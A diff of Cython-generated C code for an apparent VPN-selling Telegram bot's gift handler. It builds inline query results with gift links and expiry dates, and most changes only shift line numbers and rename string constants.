__Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_4); __pyx_cur_scope->__pyx_v_months = __pyx_t_4; __pyx_t_4 = 0; - __pyx_t_5 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_gift, __pyx_n_u_expiry_time); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 296, __pyx_L4_error) + __pyx_t_5 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_gift, __pyx_n_u_expiry_time); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 298, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_5); - __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_strftime); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 296, __pyx_L4_error) + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_strftime); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 298, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = NULL; @@ -8911,7 +8952,7 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_20generator6(__pyx_Coroutine PyObject *__pyx_callargs[2] = {__pyx_t_5, __pyx_kp_u_d_m_Y_H_M}; __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; - if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 296, __pyx_L4_error) + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 298, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } @@ -8919,19 +8960,19 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_20generator6(__pyx_Coroutine __pyx_cur_scope->__pyx_v_expiry_time = __pyx_t_4; __pyx_t_4 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_SHARE_TEXT_TEMPLATE); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 298, __pyx_L4_error) + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_SHARE_TEXT_TEMPLATE); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 300, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_4); - __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_format); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 298, __pyx_L4_error) + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_format); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 300, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - __pyx_t_4 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 299, __pyx_L4_error) + __pyx_t_4 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 301, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_4); - if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_months, __pyx_cur_scope->__pyx_v_months) < 0) __PYX_ERR(0, 299, __pyx_L4_error) - if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_expiry_time, __pyx_cur_scope->__pyx_v_expiry_time) < 0) __PYX_ERR(0, 299, __pyx_L4_error) - if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_gift_link, __pyx_cur_scope->__pyx_v_gift_link) < 0) __PYX_ERR(0, 299, __pyx_L4_error) + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_months, __pyx_cur_scope->__pyx_v_months) < 0) __PYX_ERR(0, 301, __pyx_L4_error) + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_expiry_time, __pyx_cur_scope->__pyx_v_expiry_time) < 0) __PYX_ERR(0, 301, __pyx_L4_error) + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_gift_link, __pyx_cur_scope->__pyx_v_gift_link) < 0) __PYX_ERR(0, 301, __pyx_L4_error) - __pyx_t_5 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_empty_tuple, __pyx_t_4); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 298, __pyx_L4_error) + __pyx_t_5 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_empty_tuple, __pyx_t_4); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 300, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; @@ -8939,7 +8980,7 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_20generator6(__pyx_Coroutine __pyx_cur_scope->__pyx_v_message_text = __pyx_t_5; __pyx_t_5 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 302, __pyx_L4_error) + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 304, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_6 = NULL; __pyx_t_7 = 0; @@ -8959,7 +9000,7 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_20generator6(__pyx_Coroutine PyObject *__pyx_callargs[2] = {__pyx_t_6, NULL}; __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_4, __pyx_callargs+1-__pyx_t_7, 0+__pyx_t_7); __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; - if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 302, __pyx_L4_error) + if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 304, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } @@ -8967,15 +9008,15 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_20generator6(__pyx_Coroutine __pyx_cur_scope->__pyx_v_builder = __pyx_t_5; __pyx_t_5 = 0; - __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 303, __pyx_L4_error) + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 305, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_4); - __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 303, __pyx_L4_error) + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 305, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_6); - __pyx_t_10 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 303, __pyx_L4_error) + __pyx_t_10 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 305, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_10); - if (PyDict_SetItem(__pyx_t_10, __pyx_n_s_text, __pyx_kp_u__34) < 0) __PYX_ERR(0, 303, __pyx_L4_error) - if (PyDict_SetItem(__pyx_t_10, __pyx_n_s_url, __pyx_cur_scope->__pyx_v_gift_link) < 0) __PYX_ERR(0, 303, __pyx_L4_error) - __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_empty_tuple, __pyx_t_10); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 303, __pyx_L4_error) + if (PyDict_SetItem(__pyx_t_10, __pyx_n_s_text, __pyx_kp_u__32) < 0) __PYX_ERR(0, 305, __pyx_L4_error) + if (PyDict_SetItem(__pyx_t_10, __pyx_n_s_url, __pyx_cur_scope->__pyx_v_gift_link) < 0) __PYX_ERR(0, 305, __pyx_L4_error) + __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_empty_tuple, __pyx_t_10); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 305, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_11); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; @@ -8998,20 +9039,20 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_20generator6(__pyx_Coroutine __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_4, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 303, __pyx_L4_error) + if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 305, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_InlineQueryResultArticle); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 305, __pyx_L4_error) + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_InlineQueryResultArticle); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 307, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_5); - __pyx_t_4 = __Pyx_PyDict_NewPresized(5); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 306, __pyx_L4_error) + __pyx_t_4 = __Pyx_PyDict_NewPresized(5); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 308, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_4); - if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_id, __pyx_cur_scope->__pyx_v_gift_id) < 0) __PYX_ERR(0, 306, __pyx_L4_error) + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_id, __pyx_cur_scope->__pyx_v_gift_id) < 0) __PYX_ERR(0, 308, __pyx_L4_error) - __pyx_t_11 = PyTuple_New(3); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 307, __pyx_L4_error) + __pyx_t_11 = PyTuple_New(3); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 309, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_11); __pyx_t_12 = 0; __pyx_t_13 = 127; @@ -9020,47 +9061,47 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_20generator6(__pyx_Coroutine __pyx_t_12 += 9; __Pyx_GIVEREF(__pyx_kp_u_VPN); PyTuple_SET_ITEM(__pyx_t_11, 0, __pyx_kp_u_VPN); - __pyx_t_10 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_months, __pyx_empty_unicode); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 307, __pyx_L4_error) + __pyx_t_10 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_months, __pyx_empty_unicode); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 309, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_10); __pyx_t_13 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_10) > __pyx_t_13) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_10) : __pyx_t_13; __pyx_t_12 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_10); __Pyx_GIVEREF(__pyx_t_10); PyTuple_SET_ITEM(__pyx_t_11, 1, __pyx_t_10); __pyx_t_10 = 0; - __Pyx_INCREF(__pyx_kp_u__35); + __Pyx_INCREF(__pyx_kp_u__33); __pyx_t_13 = (65535 > __pyx_t_13) ? 65535 : __pyx_t_13; __pyx_t_12 += 8; - __Pyx_GIVEREF(__pyx_kp_u__35); - PyTuple_SET_ITEM(__pyx_t_11, 2, __pyx_kp_u__35); - __pyx_t_10 = __Pyx_PyUnicode_Join(__pyx_t_11, 3, __pyx_t_12, __pyx_t_13); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 307, __pyx_L4_error) + __Pyx_GIVEREF(__pyx_kp_u__33); + PyTuple_SET_ITEM(__pyx_t_11, 2, __pyx_kp_u__33); + __pyx_t_10 = __Pyx_PyUnicode_Join(__pyx_t_11, 3, __pyx_t_12, __pyx_t_13); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 309, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_title, __pyx_t_10) < 0) __PYX_ERR(0, 306, __pyx_L4_error) + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_title, __pyx_t_10) < 0) __PYX_ERR(0, 308, __pyx_L4_error) __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; - __pyx_t_10 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_expiry_time, __pyx_empty_unicode); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 308, __pyx_L4_error) + __pyx_t_10 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_expiry_time, __pyx_empty_unicode); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 310, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_10); - __pyx_t_11 = __Pyx_PyUnicode_Concat(__pyx_kp_u__36, __pyx_t_10); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 308, __pyx_L4_error) + __pyx_t_11 = __Pyx_PyUnicode_Concat(__pyx_kp_u__34, __pyx_t_10); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 310, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_11); __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; - if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_description, __pyx_t_11) < 0) __PYX_ERR(0, 306, __pyx_L4_error) + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_description, __pyx_t_11) < 0) __PYX_ERR(0, 308, __pyx_L4_error) __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_InputTextMessageContent); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 309, __pyx_L4_error) + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_InputTextMessageContent); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 311, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_11); - __pyx_t_10 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 310, __pyx_L4_error) + __pyx_t_10 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 312, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_10); - if (PyDict_SetItem(__pyx_t_10, __pyx_n_s_message_text, __pyx_cur_scope->__pyx_v_message_text) < 0) __PYX_ERR(0, 310, __pyx_L4_error) + if (PyDict_SetItem(__pyx_t_10, __pyx_n_s_message_text, __pyx_cur_scope->__pyx_v_message_text) < 0) __PYX_ERR(0, 312, __pyx_L4_error) - __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_11, __pyx_empty_tuple, __pyx_t_10); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 309, __pyx_L4_error) + __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_11, __pyx_empty_tuple, __pyx_t_10); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 311, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; - if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_input_message_content, __pyx_t_6) < 0) __PYX_ERR(0, 306, __pyx_L4_error) + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_input_message_content, __pyx_t_6) < 0) __PYX_ERR(0, 308, __pyx_L4_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 312, __pyx_L4_error) + __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 314, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_10); __pyx_t_11 = NULL; __pyx_t_7 = 0; @@ -9080,14 +9121,14 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_20generator6(__pyx_Coroutine PyObject *__pyx_callargs[2] = {__pyx_t_11, NULL}; __pyx_t_6 = __Pyx_PyObject_FastCall(__pyx_t_10, __pyx_callargs+1-__pyx_t_7, 0+__pyx_t_7); __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; - if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 312, __pyx_L4_error) + if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 314, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; } - if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_reply_markup, __pyx_t_6) < 0) __PYX_ERR(0, 306, __pyx_L4_error) + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_reply_markup, __pyx_t_6) < 0) __PYX_ERR(0, 308, __pyx_L4_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_empty_tuple, __pyx_t_4); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 305, __pyx_L4_error) + __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_empty_tuple, __pyx_t_4); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 307, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; @@ -9095,22 +9136,22 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_20generator6(__pyx_Coroutine __pyx_cur_scope->__pyx_v_result = __pyx_t_6; __pyx_t_6 = 0; - __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_inline_query, __pyx_n_s_answer); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 315, __pyx_L4_error) + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_inline_query, __pyx_n_s_answer); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 317, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_6); - __pyx_t_4 = PyList_New(1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 315, __pyx_L4_error) + __pyx_t_4 = PyList_New(1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 317, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_INCREF(__pyx_cur_scope->__pyx_v_result); __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_result); - if (__Pyx_PyList_SET_ITEM(__pyx_t_4, 0, __pyx_cur_scope->__pyx_v_result)) __PYX_ERR(0, 315, __pyx_L4_error); - __pyx_t_5 = PyTuple_New(1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 315, __pyx_L4_error) + if (__Pyx_PyList_SET_ITEM(__pyx_t_4, 0, __pyx_cur_scope->__pyx_v_result)) __PYX_ERR(0, 317, __pyx_L4_error); + __pyx_t_5 = PyTuple_New(1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 317, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GIVEREF(__pyx_t_4); - if (__Pyx_PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_4)) __PYX_ERR(0, 315, __pyx_L4_error); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_4)) __PYX_ERR(0, 317, __pyx_L4_error); __pyx_t_4 = 0; - __pyx_t_4 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 315, __pyx_L4_error) + __pyx_t_4 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 317, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_4); - if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_cache_time, __pyx_int_1) < 0) __PYX_ERR(0, 315, __pyx_L4_error) - __pyx_t_10 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_5, __pyx_t_4); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 315, __pyx_L4_error) + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_cache_time, __pyx_int_1) < 0) __PYX_ERR(0, 317, __pyx_L4_error) + __pyx_t_10 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_5, __pyx_t_4); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 317, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; @@ -9141,12 +9182,12 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_20generator6(__pyx_Coroutine __pyx_t_3 = __pyx_cur_scope->__pyx_t_2; __pyx_cur_scope->__pyx_t_2 = 0; __Pyx_XGOTREF(__pyx_t_3); - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 315, __pyx_L4_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 317, __pyx_L4_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 315, __pyx_L4_error) + else __PYX_ERR(0, 317, __pyx_L4_error) } } @@ -9165,7 +9206,7 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_20generator6(__pyx_Coroutine __pyx_t_14 = __Pyx_PyErr_ExceptionMatches(((PyObject *)(&((PyTypeObject*)PyExc_Exception)[0]))); if (__pyx_t_14) { __Pyx_AddTraceback("handlers.payments.gift.inline_gift_handler", __pyx_clineno, __pyx_lineno, __pyx_filename); - if (__Pyx_GetException(&__pyx_t_10, &__pyx_t_4, &__pyx_t_5) < 0) __PYX_ERR(0, 317, __pyx_L6_except_error) + if (__Pyx_GetException(&__pyx_t_10, &__pyx_t_4, &__pyx_t_5) < 0) __PYX_ERR(0, 319, __pyx_L6_except_error) __Pyx_XGOTREF(__pyx_t_10); __Pyx_XGOTREF(__pyx_t_4); __Pyx_XGOTREF(__pyx_t_5); @@ -9174,14 +9215,14 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_20generator6(__pyx_Coroutine __pyx_cur_scope->__pyx_v_e = __pyx_t_4; /*try:*/ { - __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_logger); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 318, __pyx_L19_error) + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_logger); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 320, __pyx_L19_error) __Pyx_GOTREF(__pyx_t_11); - __pyx_t_15 = __Pyx_PyObject_GetAttrStr(__pyx_t_11, __pyx_n_s_error); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 318, __pyx_L19_error) + __pyx_t_15 = __Pyx_PyObject_GetAttrStr(__pyx_t_11, __pyx_n_s_error); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 320, __pyx_L19_error) __Pyx_GOTREF(__pyx_t_15); __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - __pyx_t_11 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_e, __pyx_empty_unicode); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 318, __pyx_L19_error) + __pyx_t_11 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_e, __pyx_empty_unicode); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 320, __pyx_L19_error) __Pyx_GOTREF(__pyx_t_11); - __pyx_t_16 = __Pyx_PyUnicode_Concat(__pyx_kp_u__37, __pyx_t_11); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 318, __pyx_L19_error) + __pyx_t_16 = __Pyx_PyUnicode_Concat(__pyx_kp_u__35, __pyx_t_11); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 320, __pyx_L19_error) __Pyx_GOTREF(__pyx_t_16); __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; __pyx_t_11 = NULL; @@ -9203,15 +9244,15 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_20generator6(__pyx_Coroutine __pyx_t_6 = __Pyx_PyObject_FastCall(__pyx_t_15, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; __Pyx_DECREF(__pyx_t_16); __pyx_t_16 = 0; - if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 318, __pyx_L19_error) + if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 320, __pyx_L19_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - __pyx_t_15 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_inline_query, __pyx_n_s_answer); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 319, __pyx_L19_error) + __pyx_t_15 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_inline_query, __pyx_n_s_answer); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 321, __pyx_L19_error) __Pyx_GOTREF(__pyx_t_15); - __pyx_t_16 = PyList_New(0); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 319, __pyx_L19_error) + __pyx_t_16 = PyList_New(0); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 321, __pyx_L19_error) __Pyx_GOTREF(__pyx_t_16); __pyx_t_11 = NULL; __pyx_t_7 = 0; @@ -9232,7 +9273,7 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_20generator6(__pyx_Coroutine __pyx_t_6 = __Pyx_PyObject_FastCall(__pyx_t_15, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; __Pyx_DECREF(__pyx_t_16); __pyx_t_16 = 0; - if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 319, __pyx_L19_error) + if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 321, __pyx_L19_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; } @@ -9277,12 +9318,12 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_20generator6(__pyx_Coroutine __pyx_t_10 = __pyx_cur_scope->__pyx_t_5; __pyx_cur_scope->__pyx_t_5 = 0; __Pyx_XGOTREF(__pyx_t_10); - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 319, __pyx_L19_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 321, __pyx_L19_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 319, __pyx_L19_error) + else __PYX_ERR(0, 321, __pyx_L19_error) } } } @@ -9439,9 +9480,9 @@ static PyObject *__pyx_pf_8handlers_8payments_4gift_21get_hardware_id(CYTHON_UNU __Pyx_XGOTREF(__pyx_t_3); /*try:*/ { - __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_platform); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 327, __pyx_L3_error) + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_platform); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 329, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_5); - __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_system); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 327, __pyx_L3_error) + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_system); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 329, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = NULL; @@ -9462,27 +9503,27 @@ static PyObject *__pyx_pf_8handlers_8payments_4gift_21get_hardware_id(CYTHON_UNU PyObject *__pyx_callargs[2] = {__pyx_t_5, NULL}; __pyx_t_4 = 